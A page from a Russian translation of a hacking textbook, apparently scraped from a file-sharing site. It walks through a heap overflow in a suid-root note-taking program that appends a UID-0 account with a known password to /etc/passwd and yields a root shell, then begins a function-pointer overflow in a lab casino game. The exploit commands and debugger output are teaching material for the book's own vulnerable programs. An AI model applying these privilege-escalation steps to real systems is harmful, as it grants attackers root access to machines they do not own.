Главная страница
Навигация по странице:

  • Фрагмент game_of_chance.c

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница20 из 51
    1   ...   16   17   18   19   20   21   22   23   ...   51

    175
    [DEBUG] file descriptor is 3
    Note has been saved.
    *** glibc detected *** ./notetaker: free(): invalid next size (normal):
    0x0804a008 ***
    ======= Backtrace: =========
    /lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
    /lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
    ./notetaker[0x8048916]
    /lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
    ./notetaker[0x8048511]
    ======= Memory map: ========
    08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/ notetaker
    08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/ notetaker
    0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
    b7d00000-b7d21000 rw-p b7d00000 00:00 0
    b7d21000-b7e00000 ---p b7d21000 00:00 0
    b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
    b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1
    b7e99000-b7e9a000 rw-p b7e99000 00:00 0
    b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/ libc-2.5.so b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/ libc-2.5.so b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/ libc-2.5.so b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
    b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
    b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]
    ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
    Aborted reader@hacking:

    /booksrc $
    На этот раз переполнение организовано так, что в буфер datafile попа- дает строка testfile. В результате программа пишет в файл testfile вме- сто /var/notes, как предусматривалось изначально. Однако при осво- бождении памяти в куче командой free() обнаруживаются ошибки в заголовках кучи, и программа завершается. Подобно тому как при переполнении в стеке подменяется адрес возврата, существуют крити- ческие точки и в архитектуре кучи. В последней версии glibc функции управления памятью в куче специально модифицированы для проти- водействия атакам посредством кучи.
    Начиная с версии 2.2.5 эти функции переписаны так, чтобы выводить отладочную информацию и завершать программу при обнаружении проблем в данных заголовков кучи. Это очень осложняет освобождение кучи в Linux.

    176
    0x300 Эксплойты
    Но данный эксплойт действует, не опираясь на данные заголовков кучи, поэтому к моменту вызова free() программу уже вынудили об- маном выполнить запись в новый файл с правами суперпользовате- ля root.
    reader@hacking:/booksrc $ grep -B10 free notetaker.c if(write(fd, buffer, strlen(buffer)) == -1) // Write note.
    fatal(“in main() while writing buffer to file”);
    write(fd, “\n”, 1); // Terminate line.
    // Закрытие файла if(close(fd) == -1)
    fatal(“in main() while closing file”);
    printf(“Note has been saved.\n”);
    free(buffer);
    free(datafile);
    reader@hacking:/booksrc $ ls -l ./testfile
    -rw------- 1 root reader 118 2007-09-09 16:19 ./testfile reader@hacking:/booksrc $ cat ./testfile cat: ./testfile: Permission denied reader@hacking:/booksrc $ sudo cat ./testfile
    ?
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile reader@hacking:/booksrc $
    Чтение из строки продолжается, пока не встретится нулевой байт, по- этому вся строка записывается в файл как userinput. Это программа с битом suid root, поэтому владельцем созданного файла является root.
    Кроме того, поскольку имя файла можно задавать, данные могут быть дописаны в любой файл. Однако для данных есть некоторые ограниче- ния: они должны заканчиваться именем выбранного файла и в него бу- дет выведена строка с ID пользователя.
    Можно предложить несколько толковых способов использовать от- крывающиеся возможности. Самый очевидный – дописать данные в конец файла /etc/passwd. В этом файле находятся все имена пользо- вателей системы, их ID и запускаемые для них оболочки. Понятно, что это важный системный файл, поэтому до начала экспериментов полез- но создать его резервную копию.
    reader@hacking:/booksrc $ cp /etc/passwd /tmp/passwd.bkup reader@hacking:/booksrc $ head /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync

    0x340 Переполнения в других сегментах
    177
    games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh reader@hacking:/booksrc $
    Разделителем полей в файле /etc/passwd служит двоеточие, первое поле – это регистрационное имя, затем следуют пароль, идентифи- катор пользователя, идентификатор группы, имя пользователя, его личный каталог и, наконец, оболочка, вызываемая при регистрации.
    Поля пароля заполнены символом x, потому что зашифрованные паро- ли хранятся в другом месте – файле shadow. (Однако зашифрованный пароль может храниться и в этом поле.)
    Кроме того, все записи в файле password, для которых ID пользовате- ля равен 0, получают права суперпользователя (root). Таким образом, возникает задача добавить в файл password запись с нулевым ID поль- зователя и известным паролем.
    Зашифровать пароль можно с помощью однонаправленного алгорит- ма хеширования. Так как алгоритм однонаправленный, восстановить исходный пароль по значению его хеша нельзя. Для борьбы с атака- ми типа поиска по таблице алгоритм использует случайное число (salt value), или привязку, чтобы при вводе одинаковых паролей получа- лись разные значения хеша. Это стандартная операция, и в Perl для нее есть функция crypt(). Ее первый аргумент – пароль, а второй – salt.
    Тот же пароль, но с другой привязкой, дает другой хеш.
    reader@hacking:/booksrc $ perl -e ‘print crypt(“password”, “AA”). “\n”’
    AA6tQYSfGxd/A
    reader@hacking:/booksrc $ perl -e ‘print crypt(“password”, “XX”). “\n”’
    XXq2wKiyI43A2
    reader@hacking:/booksrc $
    Обратите внимание: значение привязки всегда стоит в начале хеша.
    Когда пользователь при регистрации вводит свой пароль, система ищет зашифрованный пароль этого пользователя. Взяв значение при- вязки из зашифрованного пароля, система применяет к тексту паро- ля, введенному пользователем, однонаправленный алгоритм хеши- рования. Затем она сравнивает два хеша: если они равны, считается, что пользователь ввел правильный пароль. Такая схема позволяет осу- ществлять аутентификацию пользователей и не хранить при этом их пароли в системе.
    Если поместить какой-либо из этих хешей в поле пароля, паролем для этой учетной записи станет password, каким бы ни было значение при- вязки. Строка, которая дописывается в файл /etc/passwd, может вы- глядеть так:
    myroot:XXq2wKiyI43A2:0:0:me:/root:/bin/bash

    178
    0x300 Эксплойты
    Однако в данном конкретном эксплойте переполнения в куче дописать такую строку к /etc/passwd не удастся, потому что эта строка должна заканчиваться на /etc/passwd. Но если это имя файла просто добавить в конец записи, то строка файла паролей станет некорректной. Можно обойти эту трудность с помощью специальной символической ссылки, в результате чего запись будет оканчиваться на /etc/passwd и в то же вре- мя окажется допустимой строкой файла паролей. Вот как это делается:
    reader@hacking:/booksrc $ mkdir /tmp/etc reader@hacking:/booksrc $ ln -s /bin/bash /tmp/etc/passwd reader@hacking:/booksrc $ ls -l /tmp/etc/passwd lrwxrwxrwx 1 reader reader 9 2007-09-09 16:25 /tmp/etc/passwd -> /bin/bash reader@hacking:/booksrc $
    Теперь /tmp/etc/passwd указывает на оболочку регистрации /bin/bash.
    То есть /tmp/etc/passwd тоже является допустимой оболочкой реги- страции в файле паролей, что делает допустимой в файле паролей сле- дующую строку:
    myroot:XXq2wKiyI43A2:0:0:me:/root:/tmp/etc/passwd
    Содержащиеся в ней значения нужно немного подкорректировать, чтобы часть строки до /etc/passwd имела длину ровно 104 байта.
    reader@hacking:/booksrc $ perl -e ‘print “myroot:XXq2wKiyI43A2:0:0:me:/
    root:/tmp”’ | wc -c
    38
    reader@hacking:/booksrc $ perl -e ‘print “myroot:XXq2wKiyI43A2:0:0:” .
    “A”x50 . “:/root:/tmp”’ | wc -c
    86
    reader@hacking:/booksrc $ gdb -q
    (gdb) p 104 - 86 + 50
    $1 = 68
    (gdb) quit reader@hacking:/booksrc $ perl -e ‘print “myroot:XXq2wKiyI43A2:0:0:” .
    “A”x68 . “:/root:/tmp”’
    | wc -c
    104
    reader@hacking:/booksrc $
    Если добавить /etc/passwd в конец последней строки (выделена полужир- ным), то эта строка будет добавлена в конец файла /etc/passwd. А раз эта строка определяет учетную запись с правами суперпользователя и установленным нами паролем, то легко зарегистрироваться с этими данными и получить права root, как показывает следующий листинг.
    reader@hacking:/booksrc $ ./notetaker $(perl -e ‘print
    “myroot:XXq2wKiyI43A2:0:0:” . “A”x68 . “:/root:/tmp/etc/passwd”’)
    [DEBUG] buffer @ 0x804a008: ‘myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:/root:/tmp/etc/passwd’
    [DEBUG] datafile @ 0x804a070: ‘/etc/passwd’
    [DEBUG] file descriptor is 3
    Note has been saved.

    0x340 Переполнения в других сегментах
    179
    *** glibc detected *** ./notetaker: free(): invalid next size (normal):
    0x0804a008 ***
    ======= Backtrace: =========
    /lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
    /lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
    ./notetaker[0x8048916]
    /lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
    ./notetaker[0x8048511]
    ======= Memory map: ========
    08048000-08049000 r-xp 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker
    08049000-0804a000 rw-p 00000000 00:0f 44384 /cow/home/reader/booksrc/notetaker
    0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
    b7d00000-b7d21000 rw-p b7d00000 00:00 0
    b7d21000-b7e00000 ---p b7d21000 00:00 0
    b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
    b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1
    b7e99000-b7e9a000 rw-p b7e99000 00:00 0
    b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so b7fd5000-b7fd6000 r--p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
    b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
    b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so bffeb000-c0000000 rw-p bffeb000 00:00 0 [stack]
    ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
    Aborted reader@hacking:/booksrc $ tail /etc/passwd avahi:x:105:111:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false cupsys:x:106:113::/home/cupsys:/bin/false haldaemon:x:107:114:Hardware abstraction layer,,,:/home/haldaemon:/bin/false hplip:x:108:7:HPLIP system user,,,:/var/run/hplip:/bin/false gdm:x:109:118:Gnome Display Manager:/var/lib/gdm:/bin/false matrix:x:500:500:User Acct:/home/matrix:/bin/bash jose:x:501:501:Jose Ronnick:/home/jose:/bin/bash reader:x:999:999:Hacker,,,:/home/reader:/bin/bash
    ?
    myroot:XXq2wKiyI43A2:0:0:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAA:/
    root:/tmp/etc/passwd reader@hacking:/booksrc $ su myroot
    Password:
    root@hacking:/home/reader/booksrc# whoami root root@hacking:/home/reader/booksrc#

    180
    0x300 Эксплойты
    0x342 Переполнение с замещением
    указателя на функцию
    Если достаточно долго играть с программой game_of_chance.c, то мож- но заметить, что, как в настоящем казино, у большинства игр стати- стика оказывается в пользу заведения. Из-за этого выигрывать труд- но – даже если везет. Но попробуем уравнять шансы. В этой програм- ме последняя выбранная игра запоминается с помощью указателя на функцию. Этот указатель – часть структуры user, объявленной как глобальная переменная. Это означает, что память для структуры user выделена в сегменте bss.
    Фрагмент game_of_chance.c
    // Структура user, хранящая данные о пользователях struct user {
    int uid;
    int credits;
    int highscore;
    char name[100];
    int (*current_game) ();
    };
    // Глобальные переменные struct user player; // Структура player
    Буфер name в структуре user – подходящее место для переполнения.
    Этот буфер заполняет функция input_name():
    // Эта функция служит для ввода имени игрока, поскольку
    // scanf(“%s”, &whatever) останавливает ввод, встретив пробел.
    void input_name() {
    char *name_ptr, input_char=’\n’;
    while(input_char == ‘\n’) // Сбросить оставшиеся scanf(“%c”, &input_char); // переводы строки.
    name_ptr = (char *) &(player.name); // name_ptr = адрес имени игрока while(input_char != ‘\n’) { // Пока не встретится перевод строки.
    *name_ptr = input_char; // Поместить символ в поле name.
    scanf(“%c”, &input_char); // Ввести следующий символ.
    name_ptr++; // Увеличить указатель на имя.
    }
    *name_ptr = 0; // Завершить строку.
    }
    Эта функция прекращает ввод, только встретив символ перевода стро- ки. Ограничения в зависимости от размера целевого буфера нет, поэто- му возможно переполнение. Чтобы использовать переполнение, нуж- но заставить программу вызвать указатель на функцию после того, как

    0x340 Переполнения в других сегментах
    181
    мы его перепишем. Это произойдет в функции play_the_game(), вызыва- емой при выборе какой-либо игры в меню. Следующий фрагмент взят из кода меню выбора и запуска игры.
    if((choice < 1) || (choice > 7))
    printf(“\n[!!] The number %d is an invalid selection.\n\n”, choice);
    else if (choice < 4) { // Выбрана какая-то игра.
    if(choice != last_game) { // Если указатель на функцию не задан,
    if(choice == 1) // направить его на выбранную игру player.current_game = pick_a_number;
    else if(choice == 2)
    player.current_game = dealer_no_match;
    else player.current_game = find_the_ace;
    last_game = choice; // и запомнить выбор в last_game.
    }
    play_the_game(); // Запустить игру.
    }
    Если last_game (прошлая игра) отличается от текущей выбранной игры, то указателю текущей игры current_game присваивается новое значе- ние. Следовательно, чтобы заставить программу вызвать указатель на функцию, не перезаписывая его, нужно сначала сыграть игру и запи- сать значение в переменную last_game.
    reader@hacking:/booksrc $ ./game_of_chance
    -=[ Game of Chance Menu ]=-
    1 - Play the Pick a Number game
    2 - Play the No Match Dealer game
    3 - Play the Find the Ace game
    4 - View current high score
    5 - Change your user name
    6 - Reset your account at 100 credits
    7 - Quit
    [Name: Jon Erickson]
    [You have 70 credits] -> 1
    [DEBUG] current_game pointer @ 0x08048fde
    ####### Pick a Number ######
    This game costs 10 credits to play. Simply pick a number between 1 and 20, and if you pick the winning number, you will win the jackpot of 100 credits!
    10 credits have been deducted from your account.
    Pick a number between 1 and 20: 5
    The winning number is 17
    Sorry, you didn’t win.
    You now have 60 credits
    Would you like to play again? (y/n) n
    -=[ Game of Chance Menu ]=-
    1 - Play the Pick a Number game

    182
    0x300 Эксплойты
    2 - Play the No Match Dealer game
    3 - Play the Find the Ace game
    4 - View current high score
    5 - Change your user name
    6 - Reset your account at 100 credits
    7 - Quit
    [Name: Jon Erickson]
    [You have 60 credits] ->
    [1]+ Stopped ./game_of_chance reader@hacking:/booksrc $
    Нажав Ctrl-Z, можно приостановить текущий процесс. Сейчас в перемен- ной last_game находится 1, поэтому если в следующий раз выбрать 1, ука- затель на функцию будет вызван без его изменения. Вернувшись в обо- лочку, рассчитаем, каким должен быть буфер для переполнения, кото- рый мы скопируем и вставим позднее в качестве имени. Перекомпили- руем исходный код с отладочными символами и запустим программу через GDB, установив точку останова на main(), чтобы исследовать па- мять. Как показано ниже, буфер name находится в структуре user на рас- стоянии 100 байт от указателя current_game.
    reader@hacking:/booksrc $ gcc -g game_of_chance.c reader@hacking:/booksrc $ gdb -q ./a.out
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    (gdb) break main
    Breakpoint 1 at 0x8048813: file game_of_chance.c, line 41.
    (gdb) run
    Starting program: /home/reader/booksrc/a.out
    Breakpoint 1, main () at game_of_chance.c:41 41 srand(time(0)); // Рандомизируем на базе текущего времени.
    (gdb) p player
    $1 = {uid = 0, credits = 0, highscore = 0, name = ‘\0’ ,
    current_game = 0}
    (gdb) x/x &player.name
    0x804b66c
    : 0x00000000
    (gdb) x/x &player.current_game
    0x804b6d0
    : 0x00000000
    (gdb) p 0x804b6d0 - 0x804b66c
    $2 = 100
    (gdb) quit
    The program is running. Exit anyway? (y or n) y reader@hacking:/booksrc $
    С помощью этих данных можно построить строку для переполнения буфера name. Ее можно скопировать и вставить в интерактивную игру
    Game of Chance, когда она будет возобновлена. Чтобы вернуться в пре- рванный процесс, введите fg (от foreground).
    reader@hacking:/booksrc $ perl -e ‘print “A”x100 . “BBBB” . “\n”’
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAABBBB

    0x340 Переполнения в других сегментах
    183
    reader@hacking:/booksrc $ fg
    ./game_of_chance
    5
    Change user name
    Enter your new name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
    Your name has been changed.
    -=[ Game of Chance Menu ]=-
    1 - Play the Pick a Number game
    2 - Play the No Match Dealer game
    3 - Play the Find the Ace game
    4 - View current high score
    5 - Change your user name
    6 - Reset your account at 100 credits
    7 - Quit
    [Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB]
    [You have 60 credits] -> 1
    [DEBUG] current_game pointer @ 0x42424242
    Segmentation fault reader@hacking:/booksrc $
    Выберите в меню пункт 5, чтобы изменить имя, и скопируйте в него буфер для переполнения. В результате в указатель на функцию запи- шется 0x42424242. После того как в меню снова будет выбран вариант 1, программа аварийно завершится, пытаясь вызвать указатель на функ- цию. Значит, мы уже управляем выполнением программы, осталось подобрать хороший адрес и заменить им BBBB.
    Команда nm перечисляет символы в объектных файлах. С ее помощью можно находить адреса различных функций в программе.
    reader@hacking:/booksrc $ nm game_of_chance
    0804b508 d _DYNAMIC
    0804b5d4 d _GLOBAL_OFFSET_TABLE_
    080496c4 R _IO_stdin_used w _Jv_RegisterClasses
    0804b4f8 d __CTOR_END__
    0804b4f4 d __CTOR_LIST__
    0804b500 d __DTOR_END__
    0804b4fc d __DTOR_LIST__
    0804a4f0 r __FRAME_END__
    0804b504 d __JCR_END__
    0804b504 d __JCR_LIST__
    0804b630 A __bss_start
    0804b624 D __data_start
    08049670 t __do_global_ctors_aux
    08048610 t __do_global_dtors_aux
    0804b628 D __dso_handle

    1   ...   16   17   18   19   20   21   22   23   ...   51


    написать администратору сайта